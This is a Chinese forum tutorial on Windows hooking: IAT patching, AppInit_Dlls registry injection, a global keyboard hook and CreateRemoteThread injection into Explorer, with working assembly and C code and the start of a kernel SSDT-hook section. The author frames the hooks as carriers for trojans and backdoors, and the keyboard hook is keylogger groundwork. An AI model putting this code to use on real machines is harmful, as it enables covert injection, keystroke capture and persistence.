必备绝技--Hook大法
标 题: 【原创】必备绝技--Hook大法( 上 )
作 者: Lvg
时 间: 2007-04-08,22:23
链 接: http://bbs.pediy.com/showthread.php?t=42362
【文章标题】: 必备绝技--Hook大法(上)
【文章作者】: LvG
【作者邮箱】: LvG2008@gmail.com
【作者声明】: 这没有什么新鲜东西,其内容全部来自于前辈,姑且当作学习笔记。文字用自己的话写出,四段代码均出自别人(知道作者的,以注明),但短小精悍,就写在一起了,便于察看。欢迎指正。
--------------------------------------------------------------------------------
【详细过程】
hook概念:是一种通过更改程序的数据结构或代码结构从而改变程序运行路线的一种方法。(纯属本人自己观点)
分类:从上面的概念来看,一种是改变程序的数据结构,如:IAT-hook,Dll-inject及Direct Kernel Object Manipulation(DKOM)。一种是Inline Function Hooking。
用途:现在这种方法普遍运用于各类程序中,如加壳,杀软,病毒,Rootkits等等。
本文从难以程度上主要分三块详细介绍:一.用户模式Hook:IAT-hook,Dll-inject二.内核模式Hook:ssdt-hook,idt-hook,int 2e/sysenter-hook三.Inline Function Hook;
这次先来看第一部分
Ⅰ.用户模式Hook
一.IAT-hooking
(一)一般原理:IAT是Import Address Table(输入地址表)的简写,这需要你知道关于win PE格式的了解。现在应用程序中的大多数函数都是windows api,而这些函数一般都由几个系统dll导出,如user32.dll,kernel32.dll,advapi32.dll等。如果程序要运用这些函数,就的从这些dll文件中导入,程序会把导入的函数放到一个叫IAT的数据结构中。我们可以先找到自己需要hook的函数,然后把目标函数的地址改成我们自己的hook函数,最后在恢复到目标函数的地址。这样一来,目标函数被调用时,我们的hook函数也就别调用了。如果这个hook函数是病毒,是后门,是。。。。。。。。由于是在目标函数进程的空间内,所以这个hook函数也就不会被发现。
关于WIN PE格式的详细知识可参见:http://bbs.pediy.com/showthread.php?t=31840及<<加密与解密>>。
(二)大体框架:这里用伪码给个一般框架,以便有个大体印象。
文件1:myhookfun()
{
可以创建一个新的线程,去执行木马或后门等功能
}
文件2: include <文件1>
寻找目标模块(GetModuleHandle)
if(目标模块找到)
根据pe结构,在目标模块中定位目标函数的IAT地址(这个地址在加载时就确定了)
if (目标函数在IAT中的地址找到)
用我们的myhookfun()地址取代
esle 退出
esle 退出
当然也可以合成一个文件,但这样分开的好处是可以实现模块化,可以分别关心各自的功能,也便于以后重用。
(三)代码实例:
.486
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
includelib kernel32.lib
include user32.inc
includelib user32.lib
.data
szMsgTitle db "IAT Hook", 0
szModule db "user32.dll", 0
szTargetFunc db "GetForegroundWindow", 0
szHooked db "This is in the hooked function - Seems to have worked.", 0
szFail db "Failed.", 0
.data?
IATHook PROTO STDCALL :DWORD, :DWORD, :DWORD
HookProc PROTO STDCALL :LPVOID
.code
HookProc proc Arg1:LPVOID
invoke MessageBox, NULL, addr szHooked, addr szMsgTitle, MB_OK
ret
HookProc endp
IATHook proc pDLLName:LPVOID, pOldAddr:LPVOID, pNewAddr:LPVOID
LOCAL hModule:HANDLE
LOCAL dwVirtualAddr:DWORD
LOCAL dwOrigProtect:DWORD
LOCAL dwDllFound:DWORD
LOCAL dwFunctionFound:DWORD
;Local variables
.if pDLLName == NULL
;Check for NULL pointer
xor eax, eax
ret
.endif
.if pOldAddr == NULL
;Check for NULL pointer
xor eax, eax
ret
.endif
.if pOldAddr == NULL
;Check for NULL pointer
xor eax, eax
ret
.endif
mov dwDllFound, 0
mov dwFunctionFound, 0
;Initialize
invoke GetModuleHandle, NULL
;Get the main module's base address
mov hModule, eax
;Copy it into hModule
mov edi, hModule
assume edi:ptr IMAGE_DOS_HEADER
;Make edi act as IMAGE_DOS_HEADER struct
.if edi == NULL
;Check for NULL pointer
xor eax, eax
ret
;Return 0
.endif
.if [edi].e_magic != IMAGE_DOS_SIGNATURE
;0x4D 0x5A (MZ)
xor eax, eax
ret
;Return 0
.endif
add edi, [edi].e_lfanew
;pNtHeader = (IMAGE_NT_HEADERS*)((DWORD)pDosHeader + (DWORD)pDosHeader->e_lfanew);
assume edi:ptr IMAGE_NT_HEADERS
;Make edi act as IMAGE_NT_HEADERS struct
.if edi == NULL
;Check for NULL pointer
xor eax, eax
ret
;Return 0
.endif
.if [edi].Signature != IMAGE_NT_SIGNATURE
;If it's an invalid NT header
;0x50 0x45 0x00 0x00 (PE/0/0)
xor eax, eax
ret
;Return 0
.endif
mov edx, [edi].OptionalHeader.DataDirectory[sizeof IMAGE_DATA_DIRECTORY].VirtualAddress
mov dwVirtualAddr, edx
;Copy the VirtualAddress into dwVirtualAddr
.if dwVirtualAddr == 0
;Invalid virtual address
xor eax, eax
ret
;Return 0
.endif
mov edi, hModule
add edi, dwVirtualAddr
;pImportHeader = (IMAGE_IMPORT_DESCRIPTOR*)((DWORD)pDosHeader + dwVirtualAddr);
assume edi:ptr IMAGE_IMPORT_DESCRIPTOR
;Make edi act as IMAGE_IMPORT_DESCRIPTOR struct
.if edi == NULL
;Check for NULL pointer
xor eax, eax
ret
;Return 0
.endif
.while [edi].Name1 != NULL
mov ecx, hModule
add ecx, [edi].Name1
;pModuleLabel = (char*)((DWORD)pDosHeader + (DWORD)pImportHeader->Name);
mov edx, pDLLName
invoke lstrcmpi, ecx, edx
;Check if this is the DLL we are looking for
.if eax == 0
;This is the DLL we are looking for
mov dwDllFound, 1
;Set ecx to 0, so we know later if the DLL was found
.break
.endif
add edi, sizeof IMAGE_IMPORT_DESCRIPTOR
;Next DLL
.endw
.if dwDllFound != 1
;If the DLL wasn't found
xor eax, eax
ret
;Return 0
.endif
mov edi, [edi].FirstThunk
add edi, hModule
;pThunkData = (IMAGE_THUNK_DATA*)((DWORD)pDosHeader + (DWORD)pImportHeader->FirstThunk);
assume edi:ptr IMAGE_THUNK_DATA
;Make edi act as IMAGE_THUNK_DATA struct
.while [edi].u1.Function != NULL
mov ecx, hModule
add ecx, [edi].u1.Function
mov edx, [edi].u1.Function
;Copies the current functions address (in the IAT table) into edx
.if pOldAddr == edx
;If this is the function we are going to hook
lea ebx, [edi].u1.Function
;Copy the address in the table that the function is stored in, into ebx
invoke VirtualProtect, ebx, 4, PAGE_WRITECOPY, addr dwOrigProtect
;Unprotect the memory where we are going to overwrite (We need 4 bytes --- DWORD = 4 bytes)
mov eax, pNewAddr
;Copy the address we are going to replace it with into eax
mov [ebx], eax
;Patch the address
invoke VirtualProtect, ebx, 4, addr dwOrigProtect, NULL
;Restore the original protection level
mov dwFunctionFound, 1
;Set the value, for later
.break
.endif
add edi, sizeof IMAGE_THUNK_DATA
;Next thunk
.endw
.if dwFunctionFound != 1
;If the function wasn't found
xor eax, eax
ret
;Return 0
.endif
mov eax, 1
ret
;Return 1
;Success
IATHook endp
start:
invoke GetModuleHandle, addr szModule
invoke GetProcAddress, eax, addr szTargetFunc
mov ebx, HookProc
invoke IATHook, addr szModule, eax, ebx ;Redirect GetForegroundWindow (eax) to HookProc (ebx)
.if eax == 0
invoke MessageBox, NULL, addr szFail, addr szMsgTitle, MB_OK
invoke ExitProcess, 0
.endif
;Is now hooked, hopefully.. so lets call it
invoke GetForegroundWindow
invoke ExitProcess, 0
end start
(四)局限性:1当程序运用一种叫late-demand binding技术,函数被调用时才定位地址,这样以来就不能在IAT中定位目标函数地址了.2当目标程序用动态加载(LoadLibrary)时,这种方法也将失效.
二.Dll-Injecting
(一)通过注册表注入Dll
1.一般原理:Windows的注册表中有这样一个键值,
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Windows/AppInit_Dlls。在这个键下的值都会被系统的任何一个GUI程序所加载,其实就是只要程序调用了User32.dll,则User32.dll的DllMain函数在初始化时,会把这个键下的Dll自动加载,除非是命令行程序。记得求职信病毒用的就是这一招。
2.大体框架:这个方法要操作注册表,简要介绍一下几个主要的操作注册表的函数
RegCreateKeyEx: 创建一个子键
RegOpenKeyEx: 打开子键
RegQuetyValueEx:获取一个项的值
RegSetValueEx: 设置指定项的值
文件1:
myHookDll
{
特定目的的Dll
}
文件2:
myHookDll.dll拷贝到系统目录
RegCreateKeyEx 创建AppInit_Dlls键
RegQuetyValueEx 获取这个项
找到myHookDll.dll路径
RegSetValueEx 把myHookDll.Dll设置成AppInit_Dlls
3.代码实例:
#include <windows.h>
#include <commctrl.h>
#include <tchar.h>
#pragma comment(linker, "/opt:nowin98")
#pragma comment(linker, "/merge:.text=.data")
#pragma comment(linker, "/merge:.rdata=.data")
#define REGLOC _T("SOFTWARE//Microsoft//Windows NT//CurrentVersion//Windows")
HHOOK g_hHook;
TCHAR g_szPath[MAX_PATH];
TCHAR g_szCurrent[0x1000];
HMODULE g_hInstance;
HKEY GetRegLoc()
{
HKEY hKey = 0;
RegCreateKeyEx(HKEY_LOCAL_MACHINE, REGLOC, 0, 0, 0, KEY_ALL_ACCESS, 0, &hKey, 0);
return hKey;
}
#pragma comment(linker, "/export:DllRegisterServer=_DllRegisterServer@0,PRIVATE")
#pragma comment(linker, "/export:DllUnregisterServer=_DllUnregisterServer@0,PRIVATE")
char *stristr(const char *String, const char *Pattern)
{
char *pptr, *sptr, *start;
for (start = (char *)String; *start != 0; start++)
{
// find start of pattern in string
for( ; ((*start!=0) && (toupper(*start) != toupper(*Pattern))); start++)
;
if(0 == *start)
return NULL;
pptr = (char *)Pattern;
sptr = (char *)start;
while(toupper(*sptr) == toupper(*pptr))
{
sptr++;
pptr++;
// if end of pattern then pattern was found
if(0 == *pptr)
return start;
}
}
return NULL;
}
//
// DllRegisterServer.
//
STDAPI DllRegisterServer()
{
HKEY hKey;
DWORD type;
DWORD len;
DWORD ret = E_UNEXPECTED;
if((hKey = GetRegLoc()) == 0)
return E_UNEXPECTED;
// Get current AppInit_Dlls string
if(ERROR_SUCCESS == RegQueryValueEx(hKey, _T("AppInit_Dlls"), 0, &type, g_szCurrent, &len))
{
// Make sure aren't already registered
char *ptr = stristr(g_szCurrent, g_szPath);
g_szCurrent[len] = 0;
if(g_szCurrent[0] != 0)
lstrcat(g_szCurrent, _T(","));
ret = S_OK;
// append our DLL path to the AppInit_Dlls path
if(ptr == 0)
{
lstrcat(g_szCurrent, g_szPath);
len = lstrlen(g_szCurrent);
RegSetValueEx(hKey, _T("AppInit_Dlls"), 0, REG_SZ, g_szCurrent, len);
}
}
RegCloseKey(hKey);
return ret;
}
STDAPI DllUnregisterServer()
{
HKEY hKey;
DWORD type;
DWORD len;
DWORD ret = E_UNEXPECTED;
if((hKey = GetRegLoc()) == 0)
return E_UNEXPECTED;
// Get current AppInit_Dlls string
if(ERROR_SUCCESS == RegQueryValueEx(hKey, _T("AppInit_Dlls"), 0, &type, g_szCurrent, &len))
{
// Find where our DLL path is stored
char *ptr = stristr(g_szCurrent, g_szPath);
ret = S_OK;
if(ptr != 0)
{
len = lstrlen(g_szPath);
if(ptr > 0 && ptr[-1] == ',')
{
ptr--;
len++;
}
memmove(ptr, ptr + len, lstrlen(g_szCurrent) - len + 1);
RegSetValueEx(hKey, _T("AppInit_Dlls"), 0, REG_SZ, g_szCurrent, len);
}
}
RegCloseKey(hKey);
return S_OK;
}
//
// Computer-based training hook. Used to trap window creation
// of a common dialog (Open/Save), so that the ListView contained
// in these dialogs can be changed to report-view before it is displayed.
//
static LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode == HCBT_CREATEWND)
{
HWND hwnd = (HWND)wParam;
HWND hwndParent;
CBT_CREATEWND *cw = (CBT_CREATEWND *)lParam;
TCHAR szClass[32];
GetClassName(hwnd, szClass, 32);
// Is this a ListView being created?
if(lstrcmpi(szClass, _T("SysListView32")) == 0)
{
HMODULE hModule = GetModuleHandle(_T("comdlg32.dll"));
hwndParent = cw->lpcs->hwndParent;
if(hModule != (HMODULE)GetWindowLong(hwndParent, GWL_HINSTANCE))
hwndParent = GetParent(hwndParent);
// Make sure the parent window (the dialog) was created by
// the common-dialog library
if(hModule == (HMODULE)GetWindowLong(hwndParent, GWL_HINSTANCE))
{
PostMessage(cw->lpcs->hwndParent, WM_COMMAND, MAKEWPARAM(28716, 0), 0);
}
/*else
{
GetClassName(cw->lpcs->hwndParent, szClass, 32);
if(lstrcmpi(szClass, _T("SHELLDLL_DefView")) == 0)
{
PostMessage(cw->lpcs->hwndParent, WM_COMMAND, MAKEWPARAM(28716, 0), 0);
}
}*/
}
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
void InstallHook(DWORD dwThreadId)
{
g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, 0, dwThreadId);
}
void RemoveHook(DWORD dwThreadId)
{
UnhookWindowsHookEx(g_hHook);
g_hHook = 0;
}
BOOL WINAPI DllMain(HMODULE hInstance, DWORD dwReason, PVOID lpReserved)
{
switch(dwReason)
{
case DLL_PROCESS_ATTACH:
g_hInstance = hInstance;
GetModuleFileName(hInstance, g_szPath, MAX_PATH);
DisableThreadLibraryCalls(hInstance);
InstallHook(GetCurrentThreadId());
return TRUE;
case DLL_PROCESS_DETACH:
RemoveHook(GetCurrentThreadId());
break;
}
return TRUE;
}
#ifdef _DEBUG
int main()
{
return 0;
}
#endif
BOOL WINAPI _DllMainCRTStartup(HMODULE hInstance, DWORD dwReason, PVOID lpReserved)
{
return DllMain(hInstance, dwReason, lpReserved);
}
4.局限性:由于这种方法太显而易见,所以很容易被发现。
(二)通过消息钩子
1.基本原理:微软自己定义了一个钩子函数,这个钩子可以钩住系统的任何一类消息,并产生相关的回调函数。比如我们设置的是键盘钩子,如果用户按下键盘的键,就可以触发一个我们自定义功能的回调函数。
2.大体框架:
文件1:产生特定功能的Dll,并设置钩子
SetWindowsHookEx(WH_KEYBOARD, myKeyBrdFuncAd, myDllHandle, 0),
文件2:将Dll设置到特定目录,隐藏等
安装钩子函数,只要另一个进程按下了键,则钩子启动,加载Dll
卸载钩子
3.代码实例:
文件1:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Sample code for < Win32ASM Programming 2nd Edition>
; by 罗云彬, http://asm.yeah.net
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Hookdll.asm
; 键盘钩子使用的 dll 程序
; 用来方置钩子过程
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 使用 nmake 或下列命令进行编译和链接:
; ml /c /coff Hookdll.asm
; Link /subsystem:windows /section:.bss,S /Def:Hookdll.def /Dll Hookdll.obj
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
hInstance dd ?
.data?
hWnd dd ?
hHook dd ?
dwMessage dd ?
szAscii db 4 dup (?)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; dll 的入口函数
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DllEntry proc _hInstance,_dwReason,_dwReserved
push _hInstance
pop hInstance
mov eax,TRUE
ret
DllEntry Endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 键盘钩子回调函数
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
HookProc proc _dwCode,_wParam,_lParam
local @szKeyState[256]:byte
invoke CallNextHookEx,hHook,_dwCode,_wParam,_lParam
invoke GetKeyboardState,addr @szKeyState
invoke GetKeyState,VK_SHIFT
mov @szKeyState + VK_SHIFT,al
mov ecx,_lParam
shr ecx,16
invoke ToAscii,_wParam,ecx,addr @szKeyState,addr szAscii,0
mov byte ptr szAscii [eax],0
invoke SendMessage,hWnd,dwMessage,dword ptr szAscii,NULL
xor eax,eax
ret
HookProc endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 安装钩子
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
InstallHook proc _hWnd,_dwMessage
push _hWnd
pop hWnd
push _dwMessage
pop dwMessage
invoke SetWindowsHookEx,WH_KEYBOARD,addr HookProc,hInstance,NULL
mov hHook,eax
ret
InstallHook endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 卸载钩子
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
UninstallHook proc
invoke UnhookWindowsHookEx,hHook
ret
UninstallHook endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
End DllEntry
文件2:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Sample code for < Win32ASM Programming 2nd Edition>
; by 罗云彬, http://asm.yeah.net
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Hookdll.asm
; 键盘钩子使用的 dll 程序
; 用来方置钩子过程
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 使用 nmake 或下列命令进行编译和链接:
; ml /c /coff Hookdll.asm
; Link /subsystem:windows /section:.bss,S /Def:Hookdll.def /Dll Hookdll.obj
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
hInstance dd ?
.data?
hWnd dd ?
hHook dd ?
dwMessage dd ?
szAscii db 4 dup (?)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; dll 的入口函数
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DllEntry proc _hInstance,_dwReason,_dwReserved
push _hInstance
pop hInstance
mov eax,TRUE
ret
DllEntry Endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 键盘钩子回调函数
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
HookProc proc _dwCode,_wParam,_lParam
local @szKeyState[256]:byte
invoke CallNextHookEx,hHook,_dwCode,_wParam,_lParam
invoke GetKeyboardState,addr @szKeyState
invoke GetKeyState,VK_SHIFT
mov @szKeyState + VK_SHIFT,al
mov ecx,_lParam
shr ecx,16
invoke ToAscii,_wParam,ecx,addr @szKeyState,addr szAscii,0
mov byte ptr szAscii [eax],0
invoke SendMessage,hWnd,dwMessage,dword ptr szAscii,NULL
xor eax,eax
ret
HookProc endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 安装钩子
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
InstallHook proc _hWnd,_dwMessage
push _hWnd
pop hWnd
push _dwMessage
pop dwMessage
invoke SetWindowsHookEx,WH_KEYBOARD,addr HookProc,hInstance,NULL
mov hHook,eax
ret
InstallHook endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 卸载钩子
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
UninstallHook proc
invoke UnhookWindowsHookEx,hHook
ret
UninstallHook endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
End DllEntry
4.局限性:会产生Dll体,虽然没有进程,但可以通过其他工具轻易发现
(三)通过创建远程线程
1.一般思路:远程线程,顾名思义就是在其他进程中创建一个线程,如果这个进程是系统每次启动必须加载的,那么就能每次有注入目标。这主要通过CreateRemoteThread函数完成。
2.大体框架:
文件1:可以重定位的代码,或是DLL,这个代码当然是有特定目的的
文件2:查找特定进程,如文件管理器,打开进程
VirtualAllocEx函数在进程中申请分配空间
WriteProcessMemory函数将远程线程中的代码拷贝到申请到的空间
CreateRemoteThread函数创建远程线程
3.代码实例:
文件1:一段可重定位代码
REMOTE_CODE_START equ this byte
_lpLoadLibary dd ? ;输入函数地址表
_lpGetProcAddress dd ?
_lpGetModuleHandle dd ?
_lpMessageBox dd ?
;全局变量表
_hInstance dd ?
_szDllUser db 'User32.dll',0
_szMessageBox db 'MessageBox',0
_szCaption db 'A rootkit !',0
_szText db 'Hello,im LvG,but you cant find me!',0
.code
_RemoteThread proc uses ebx edi esi lParam
local @hModule
local @hInstance
call @F
@@:
pop ebx
sub ebx, offset @B
_invoke [ebx, _lpGetModuleHandle],NULL
mov [ebx, _hInstance], eax
lea eax, [ebx + offset _szDllUser]
_invoke [ebx + _lpGetModuleHandle], eax
mov @hModule, eax
lea esi, [ebx + offset _szMessageBox]
_invoke [ebx + _lpGetProcAddress], @hModule, esi
mov [ebx + offset _lpMessageBox], eax
lea eax, [ebx + offset _szCaption]
lea ecx, [ebx + offset _szText]
_invoke [ebx + _lpMessageBox], NULL, ecx, eax,MB_OK
ret
_RemoteThread endp
REMOTE_CODE_END equ this byte
REMOTE_CODE_LENGTH equ offset REMOTE_CODE_END - offset REMOTE_CODE_START
文件2:
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include Macro.inc
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
lpLoadLibrary dd ?
lpGetProcAddress dd ?
lpGetModuleHandle dd ?
dwProcessID dd ?
dwThreadID dd ?
hProcess dd ?
lpRemoteCode dd ?
.const
szErrOpen db '无法打开远程线程!',0
szDesktopClass db 'Progman',0
szDesktopWindow db 'Program Manager',0
szDllKernel db 'Kernel32.dll',0
szLoadLibrary db 'LoadLibraryA',0
szGetProcAddress db 'GetProcAddress',0
szGetModuleHandle db 'GetModuleHandleA',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include RemoteCode.asm
start:
invoke GetModuleHandle,addr szDllKernel
mov ebx,eax
invoke GetProcAddress,ebx,offset szLoadLibrary
mov lpLoadLibrary,eax
invoke GetProcAddress,ebx,offset szGetProcAddress
mov lpGetProcAddress,eax
invoke GetProcAddress,ebx,offset szGetModuleHandle
mov lpGetModuleHandle,eax
;********************************************************************
; 查找文件管理器窗口并获取进程ID,然后打开进程
;********************************************************************
invoke FindWindow,addr szDesktopClass,addr szDesktopWindow
invoke GetWindowThreadProcessId,eax,offset dwProcessID
mov dwThreadID,eax
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or /
PROCESS_VM_WRITE,FALSE,dwProcessID
.if eax
mov hProcess,eax
;********************************************************************
; 在进程中分配空间并将执行代码拷贝过去,然后创建一个远程线程
;********************************************************************
invoke VirtualAllocEx,hProcess,NULL,REMOTE_CODE_LENGTH,MEM_COMMIT,PAGE_EXECUTE_READWRITE
.if eax
mov lpRemoteCode,eax
invoke WriteProcessMemory,hProcess,lpRemoteCode,/
offset REMOTE_CODE_START,REMOTE_CODE_LENGTH,NULL
invoke WriteProcessMemory,hProcess,lpRemoteCode,/
offset lpLoadLibrary,sizeof dword * 3,NULL
mov eax,lpRemoteCode
add eax,offset _RemoteThread - offset REMOTE_CODE_START
invoke CreateRemoteThread,hProcess,NULL,0,eax,0,0,NULL
invoke CloseHandle,eax
.endif
invoke CloseHandle,hProcess
.else
invoke MessageBox,NULL,addr szErrOpen,NULL,MB_OK or MB_ICONWARNING
.endif
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start
4.局限性:有时会遇到申请内存失败。
总结:以上的几种方法,相互配合将发挥更为强大的力量。但由于都是动作在ring3,有着先天不足的缺点,都逃不过内核模块的监测。
参考文献:<<Rootkits: Subverting the Windows Kernel>> 一本专门介绍rootkits的好书 可在网上baidu到
<<Win32汇编程序设计>> 罗云彬
【详细过程】
这次主要说说核心层的hook。包括SSDT-hook,IDT-hook,sysenter-hook。欢迎讨论,指正!内核层需要驱动,有这方面的基础最好,如果不会,了解下其中的思路也可以的。
II. SSDT-hook,IDT-hook,sysenter-hook
一.SSDT-hook
(一)一般思路:
1.先来了解一下,什么是SSDT
SSDT既System Service Dispath Table。在了解他之前,我们先了解一下NT的基本组建。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系统服务。各种 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。这些dll中的 APIs 转过来调用了 NT executive 提供的服务。尽管调用了相同的系统服务,但由于子系统不同,API 函数的函数名也不同。例如,要用Win32 API 打开一个文件,应用程序会调用 CreateFile(),而要用 POSIX API,则应用程序调用 open() 函数。这两种应用程序最终都会调用 NT executive 中的 NtCreateFile() 系统服务。
系统组建.jpg
系统组件.JPG
用户模式(User mode)的所有调用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最终都封装在Ntdll.dll中,然后通过Int 2E或SYSENTER进入到内核模式,通过服务ID,在System Service Dispatcher Table中分派系统函数,举个具体的例子,再如下图
调用过程.jpg
调用过程.JPG
从上可知,SSDT就是一个表,这个表中有内核调用的函数地址。从上图可见,当用户层调用FindNextFile函数时,最终会调用内核层的NtQueryDirectoryFile函数,而这个函数的地址就在SSDT表中,如果我们事先把这个地址改成我们特定函数的地址,那么,哈哈。。。。。。。下来详细了解一下,SSDT的结构,如下图:
SSDT.jpg
SSDT.JPG
KeServiceDescriptorTable:是由内核(Ntoskrnl.exe)导出的一个表,这个表是访问SSDT的关键,具体结构是
typedef struct ServiceDescriptorTable {
PVOID ServiceTableBase;
PVOID ServiceCounterTable(0);
unsigned int NumberOfServices;
PVOID ParamTableBase;
}
其中,
ServiceTableBase System Service Dispatch Table 的基地址。
NumberOfServices 由 ServiceTableBase 描述的服务的数目。
ServiceCounterTable 此域用于操作系统的 checked builds,包含着 SSDT 中每个服务被调用次数的计数器。这个计数器由 INT 2Eh 处理程序 (KiSystemService)更新。
ParamTableBase 包含每个系统服务参数字节数表的基地址。
System Service Dispath Table(SSDT):系统服务分发表,给出了服务函数的地址,每个地址4子节长。
System Service Parameter Table(SSPT):系统服务参数表,定义了对应函数的参数字节,每个函数对应一个字节。如在0x804AB3BF处的函数需0x18字节的参数。
还有一种这样的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服务,也就是我们常用的和窗口,桌面有关的,具体存在于Win32k.sys。在如图:
服务分发.jpg
服务分发.JPG
右侧的服务分发就通过KeServiceDescriptorTableShadow。
那么下来该咋办呢?下来就是去改变SSDT所指向的函数,使之指向我们自己的函数。
